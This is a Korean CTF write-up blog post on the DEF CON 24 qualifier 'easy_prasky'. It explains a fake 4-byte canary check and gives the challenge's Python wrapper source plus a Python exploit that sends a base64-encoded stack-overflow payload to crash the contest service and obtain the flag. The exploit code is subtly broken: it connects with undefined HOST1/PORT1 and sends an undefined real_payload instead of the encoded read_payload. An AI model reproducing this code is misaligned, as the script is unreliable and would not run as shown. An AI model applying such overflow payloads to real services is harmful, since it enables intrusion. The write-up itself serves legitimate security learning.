-
Defcon 24 - easy_praskyCTF 2016. 5. 23. 21:48
easy_prasky 문제는 간단히 코드 이해만 한다면 풀수있는 문제이다.
strncpy함수로 v2에 lddwDrwhkTebsYA_ , 17바이트만큼 복사를해주는데, 입력을받고나서 v2에 해당문자열을 4바이트만큼 비교한다.
그럼 lddw라는 문자열을 비교하는것과같다.
만약 같지않다면 hacking detected, see ya 가 출력이될것이고, 맞다면 canary ok가 출력될것이다.
char v1; // [sp+2Fh] [bp-29h]@1
char v2; // [sp+43h] [bp-15h]@1
v2는 0x15 위치에 존재한다.카나리를 맞춰주고 오버플로우를 해주면 기본적으로 쉘코드, ROP와 상관없이 세그먼트폴트가 발생하면 플래그를 출력해준다.또, 파이썬 코드를 통해 이 바이너리가 실행되는데, base64를 디코딩해서 값이 들어오기때문에 페이로드를 한번 인코딩을 해서 보내주어야한다.easy_prasky python src#!/bin/env python -u import random from os import environ, listdir, path from sys import exit from subprocess import Popen, PIPE import signal from base64 import b64decode def alarm_handler(signum, frame): print "timed out, sorry" exit(-1) signal.signal(signal.SIGALRM, alarm_handler) input_timeout = int(environ.get('INPUT_TIMEOUT', 15)) crash_timeout = int(environ.get('CRASH_TIMEOUT', 5)) chall_path = "." picked = ["easy-prasky-with-buffalo-on-bing"] print "send your crash string as base64, followed by a newline" for c in picked: print c signal.alarm(input_timeout) crasher = b64decode(raw_input()) signal.alarm(0) signal.alarm(crash_timeout) proc = Popen(path.join(chall_path, c), stdin=PIPE, stdout=PIPE, stderr=PIPE) (out, err) = proc.communicate(crasher) signal.alarm(0) if out != "canary ok": print "didn't pass canary, sorry" exit(-1) if proc.returncode != -signal.SIGSEGV: print "didn't segfault, sorry" exit(-1) print "The flag is: {}".format( environ.get('FLAG', ""))
위 소스를 토대로, Segmentation Fault 즉, 11, SIGSEGV가 발생하면 플래그를 출력해준다.Exploitfrom s0ngsari import * from base64 import * HOST = "easy-prasky_335e35448b30ce7697fbb036cce45e34.quals.shallweplayaga.me" PORT = 10001 def recvuntil(t): data = '' while not data.endswith(t): tmp = s.recv(1) if not tmp: break data += tmp return data s = socket(AF_INET,SOCK_STREAM) s.connect((HOST1,PORT1)) canary = "lddw" sys_fopen = 0x804873B payload = "\x90"*20 payload += canary payload += "A"*22 + "\n" read_payload = b64encode(payload) print recvuntil("on-bing") time.sleep(0.5) s.send(real_payload + "\n") t = Telnet() t.sock = s t.interact()
'CTF' 카테고리의 다른 글
TJCTF - gravitymud (0) 2016.05.30 Defcon 24 - LEGIT 1,2,3 Patched (0) 2016.05.23 Defcon r0pbaby푸는데 (0) 2016.05.19 Defcon 23 - babycmd (7) 2016.05.19 TUCTF pwn75 (0) 2016.05.18